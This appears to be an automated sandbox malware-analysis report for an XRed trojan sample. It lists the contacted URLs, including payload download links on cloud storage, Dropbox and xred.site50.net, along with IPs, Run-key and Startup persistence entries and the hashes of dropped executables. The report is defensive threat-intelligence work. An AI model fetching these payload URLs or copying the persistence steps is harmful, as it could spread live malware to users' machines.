http://pasy.telefonicas.fyi/wwwww.php	wic.exe, 0000000B.00000003.1814987251.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, cbas.exe, cbas.exe, 00000012.00000002.3537228980.0000000000BD3000.00000002.00000001.01000000.0000001A.sdmp, cbas.exe, 00000012.00000002.3538064091.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, cbas.exe, 00000012.00000000.1920081415.0000000000BD3000.00000002.00000001.01000000.0000001A.sdmp, cbas.exe.11.dr	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/	file.exe, 00000000.00000003.1708813251.0000000000726000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exeG	file.exe, 00000000.00000003.1800217674.0000000000751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.0000000000751000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnkl:	wic.exe, 0000000B.00000002.3538860898.000000000169D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeNNC:	file.exe, 00000000.00000003.1708777064.000000000073F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnkl	wic.exe, 0000000B.00000002.3538860898.000000000169D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnkp:	wic.exe, 0000000B.00000002.3538860898.000000000169D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnkm	wic.exe, 0000000B.00000002.3538860898.0000000001681000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnkp;	wic.exe, 0000000B.00000002.3538860898.000000000169D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exeU	file.exe, 00000000.00000003.1800217674.0000000000751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.0000000000751000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/-	Synaptics.exe, 00000003.00000003.2440072777.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2428940027.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3538251515.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2417824975.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2450428140.00000000007D5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1:	Synaptics.exe, 00000003.00000002.3538971140.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://bruplong.oss-accelerate.aliyuncs.com/270/2.exet	file.exe, 00000000.00000003.1800217674.0000000000751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.0000000000751000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/	Synaptics.exe, 00000003.00000003.2450865873.0000000004805000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3538251515.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2428940027.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2450428140.00000000007C1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOG	Synaptics.exe, 00000003.00000003.2440072777.00000000007E0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/Synaptics.rar	2[1].exe.0.dr	false		high
https://docs.gook	Synaptics.exe, 00000003.00000002.3537477101.0000000000761000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.lineageonline.jp/	._cache_1.exe, 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SSLLibrary.dll6	Synaptics.exe, 00000003.00000002.3538971140.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1:	Synaptics.exe, 00000003.00000002.3538971140.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=0	1.exe, 00000001.00000003.1715627958.0000000002130000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1	2[1].exe.0.dr	false		high
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1	2[1].exe.0.dr	false		high
https://rar.tw)	._cache_2.exe, 00000008.00000003.1846288362.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1888790338.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1851185608.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000002.1889810525.0000000000D08000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1887786391.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1850729652.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1846620779.0000000000CFC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/2.exe?	file.exe, 00000000.00000003.1800217674.0000000000751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.0000000000751000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/msslac.dll	wic.exe, 0000000B.00000003.1823701424.000000000169D000.00000004.00000020.00020000.00000000.sdmp, wic.exe, 0000000B.00000002.3538860898.000000000169D000.00000004.00000020.00020000.00000000.sdmp, wic.exe.0.dr, wic[1].exe.0.dr	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exes	file.exe, 00000000.00000003.1800217674.0000000000751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.0000000000751000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/:	Synaptics.exe, 00000003.00000003.2417824975.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2440072777.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2428940027.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2450428140.00000000007C1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnk&	wic.exe, 0000000B.00000002.3538860898.0000000001681000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.exeC:	wic.exe, 0000000B.00000000.1799136325.0000000001003000.00000002.00000001.01000000.00000018.sdmp, wic.exe, 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmp, wic.exe.0.dr, wic[1].exe.0.dr	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exed	file.exe, 00000000.00000003.1800217674.0000000000751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.0000000000751000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SSLLibrary.dlh	1.exe, 00000001.00000003.1715627958.0000000002130000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rar.tw/	._cache_2.exe, 00000008.00000003.1846288362.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1888790338.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1851185608.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1846217794.000000000B992000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1848955591.000000000B9D3000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1838969140.000000000B988000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000002.1889810525.0000000000D08000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1887786391.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1850992310.000000000B9D3000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1850729652.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1845387925.000000000B991000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1849331101.000000000B9D3000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1846950203.000000000B9D2000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1839631873.000000000B98B000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1846620779.0000000000CFC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeaa	file.exe, 00000000.00000002.1801335644.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1800217674.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.00000000006DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnk32P;	wic.exe, 0000000B.00000002.3538860898.000000000169D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exewsC:	file.exe, 00000000.00000002.1804354538.0000000000785000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1800183063.0000000000781000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SSLLibrary.dll	2[1].exe.0.dr	false		high
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl	1.exe, 00000001.00000003.1715627958.0000000002130000.00000004.00001000.00020000.00000000.sdmp	false		high
http://bruplong.oss-accelerate.aliyuncs.com/270/msslac.dllp;	wic.exe, 0000000B.00000003.1823701424.000000000169D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.142	docs.google.com	United States	15169	GOOGLEUS	false
47.254.187.72	eu-central-1.oss-acc.aliyuncs.com	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true
69.42.215.252	freedns.afraid.org	United States	17048	AWKNET-LLCUS	false
142.250.185.225	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583469
Start date and time:	2025-01-02 20:33:55 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal88.rans.troj.expl.evad.winEXE@26/36@5/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 91% Number of executed functions: 290 Number of non-executed functions: 226
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.32.97, 52.113.194.132, 184.28.90.27, 104.208.16.88, 20.190.159.2, 4.175.87.197, 13.107.246.45
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.afd.azureedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, ecs-office.s-0005.s-msedge.net, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, officeclient.microsoft.com, ukw-azsc-config.officeapps.live.com, prod.fs.microsoft.com.akadns.net, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, s-0005-office.config.skype.com, onedscolprdcus08.centralus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com, s-0005.s-msedge.net, config.officeapps.live.com, azureedge-t-prod.trafficmanager.net, ecs.office.trafficmanager.net, europe.configsvc1.live.com.akadns.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
19:34:52	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver C:\ProgramData\Synaptics\Synaptics.exe
19:35:02	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cbas.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
69.42.215.252	file.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	file.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	file.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	file.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	file.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	file.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	file.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Open Purchase Order Summary Details-16-12-2024.vbs	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	file.exe	Get hash	malicious	XRed	Browse	13.107.246.45
	file.exe	Get hash	malicious	XRed	Browse	13.107.246.45
	file.exe	Get hash	malicious	XRed	Browse	13.107.246.45
	file.exe	Get hash	malicious	XRed	Browse	13.107.246.45
	file.exe	Get hash	malicious	XRed	Browse	13.107.246.45
	file.exe	Get hash	malicious	XRed	Browse	13.107.246.45
	file.exe	Get hash	malicious	Xmrig	Browse	13.107.246.45
	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	13.107.246.45
	https://gldkzr-lpqw.buzz/script/ut.js?cb%5C=1735764124690	Get hash	malicious	Unknown	Browse	13.107.246.45
eu-central-1.oss-acc.aliyuncs.com	https://im16.net/	Get hash	malicious	Unknown	Browse	47.254.187.65
	http://im20.net/	Get hash	malicious	Unknown	Browse	47.254.187.65
	8v4iWYLvKJ.exe	Get hash	malicious	CobaltStrike Metasploit	Browse	47.254.186.176
	WhQZ6UbCEY.exe	Get hash	malicious	CobaltStrike Metasploit	Browse	47.254.186.176
freedns.afraid.org	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	69.42.215.252
	Open Purchase Order Summary Details-16-12-2024.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	https://www.gazeta.ru/politics/news/2024/12/22/24684854.shtml	Get hash	malicious	HTMLPhisher	Browse	47.253.61.56
	45631.exe	Get hash	malicious	Nitol	Browse	8.217.152.240
	Hilix.mpsl.elf	Get hash	malicious	Mirai	Browse	8.208.198.92
	0000000000000000.exe	Get hash	malicious	Nitol	Browse	8.217.35.192
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	8.211.209.238
	letsVPN.exe	Get hash	malicious	Unknown	Browse	8.223.56.120
	letsVPN.exe	Get hash	malicious	Unknown	Browse	8.223.56.120
	T1#U52a9#U624b1.0.1.exe	Get hash	malicious	Unknown	Browse	8.212.101.195
	T1#U52a9#U624b1.0.1.exe	Get hash	malicious	Unknown	Browse	8.212.101.195
AWKNET-LLCUS	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	69.42.215.252
	Open Purchase Order Summary Details-16-12-2024.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	XRed	Browse	142.250.186.142 142.250.185.225
	file.exe	Get hash	malicious	XRed	Browse	142.250.186.142 142.250.185.225
	file.exe	Get hash	malicious	XRed	Browse	142.250.186.142 142.250.185.225
	file.exe	Get hash	malicious	XRed	Browse	142.250.186.142 142.250.185.225
	file.exe	Get hash	malicious	XRed	Browse	142.250.186.142 142.250.185.225
	file.exe	Get hash	malicious	XRed	Browse	142.250.186.142 142.250.185.225
	file.exe	Get hash	malicious	XRed	Browse	142.250.186.142 142.250.185.225
	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	142.250.186.142 142.250.185.225

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	830976
Entropy (8bit):	6.743094412845321
Encrypted:	false
SSDEEP:	12288:xMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9oKXMg14ldj:xnsJ39LyjbJkQFMhmC+6GD9+vF
MD5:	D026CFE00B08DA14B0A8B7F8860887D7
SHA1:	08EF96351067F151C19B9CC21605EA018FB43A18
SHA-256:	E261D309F30DE33A1BA0AA43604DB15F3326C6C8C5B291BDD52F18EA361FE3DD
SHA-512:	4EF560FF8C6A9A143B9365884C0C999A1FBF5EE638F170AD96ADD2B8B56933038D573CB31F45724A7F1A7B6A35CD2557344BD55C746FC9E9DA38ECD3BDD6361D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Program Files (x86)\1.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Program Files (x86)\1.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@..............................................@..............................B......0....................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...0...........................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\2.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4645376
Entropy (8bit):	7.861574505223912
Encrypted:	false
SSDEEP:	98304:3nsmtk2aqBB6wcOBfKGSUjkO80kI//gmiklAV+vuGKiSB8zI9ShRbfVdsFWV:3LxiGtJkI/9JQ+vuziSXkfBdko
MD5:	85A57509DB3E9DFA7B4E451B8243220D
SHA1:	EE21F93372218959F8B3DCEFAA2C680D857E9E52
SHA-256:	FCD8D4592CF92FB9F9235A2774CDC8AFF4265D4015269FB7AA995182F8CE26E1
SHA-512:	104615F2366E06CBBA58A87F2E01D6806C1871C29AF8277E06FCDB385F4AE6BEB37C3BAFD861C320A01303A287A68AE9B5D8640F29A39C21FE38AD9803EBE00D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Program Files (x86)\2.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Program Files (x86)\2.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 89%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................B=...................@..........................@G..................@..............................B......x9<..................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...x9<......:<.................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\3.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	9872
Entropy (8bit):	6.582338874776353
Encrypted:	false
SSDEEP:	96:75yFmm11gDnLWB0x6sBA0wHN7m8oB4eXMMhb/WJMepdgPYXa5yQILwKQMlZZptg:7i9oLE0xa0wt71MXMMFypdgPuLQILH0
MD5:	1EDB88F9EE745EAAEE2CBD8219318EB0
SHA1:	6561C12D51090972B6F866F38F8ED281C5C83313
SHA-256:	0AC1125284E2600D3714C0226F800F4D8D9AA291FA299BB1D33B7D8984B5E1C0
SHA-512:	A2A20A70C9E1DB729F716706796027A5C9002AD000E75C0DCED3ECE6F26D76EE0803ACC31D3A116266E711EC6A16D33C0668412238DFE0F128F3A841232FF4C5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........FR..'<..'<..'<..v.'<..v..'<.._...'<..'=..'<..u..'<..u.'<.Rich.'<.........................PE..L...:.f................. ........................@.......................................@.........................................................................................................................................................UPX0....................................UPX1..... ..........................@...UPX2................................@..............................................................................................................................................................................................................................................................................................................................................................................................................2.02.UPX!....

C:\Program Files (x86)\4.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	346414
Entropy (8bit):	6.861892987708496
Encrypted:	false
SSDEEP:	6144:jiubWrNSOetO6cprlQAOWizGLIoSdQX+tJs0/br:uubsNSOetfARQAPyGU2X+tZ/n
MD5:	39E7BE73C7531AC895F75834FDC1BCD6
SHA1:	646B88B488CF673C38B56FE7748C70B31BB29FC3
SHA-256:	A176E32335D81E69906F1C062E62247E97B8863F2C6148A36713E5BED5D16195
SHA-512:	E5C34EF2D309EF2071495A359999B9F8DBEB6D7DB1DAA67E82494D71B0F1E888D0958B5A503CB3B0E505B70F26CFEFE362D6301599143BEDB40A19FDB60EF072
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........w..w..w..<.V.w..<.T..w..<.U.w....Z.w......w......w......w...$.w...4.w..w..v......w......w....X.w......w..Rich.w..........PE..L......d...............!.....................@....@..........................p............@.............................4.......P....`..t....................@...#......T............................f..@............@..x...\... ....................text....-.......................... ..`.rdata......@.......2..............@..@.data...PG..........................@....didat.......P......................@....rsrc........`......................@..@.reloc...#...@...$..................@..B................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\ProgramData\Synaptics\RCXF181.tmp

Download File

Process:	C:\Program Files (x86)\1.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	771584
Entropy (8bit):	6.626509498726225
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9IMr:ansJ39LyjbJkQFMhmC+6GD9H
MD5:	00367A9FAA8069389A97267D772563E8
SHA1:	1C5301544B6B3FC11B71B6A2EBBD1D40F193619E
SHA-256:	2B451F3AE3ABEE380824404CDF795090102D57D7D369D861EC3BDA35528F2DF0
SHA-512:	D31767C02686D40BC60BC7439D9708EC6D67A904AF12A150650174BFCC0C432E3C5A3DCA87710EB06E2FE97903805B7C01949274F9C9DE3EA05187F4DF457EB5
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\RCXF181.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\RCXF181.tmp, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe

Download File

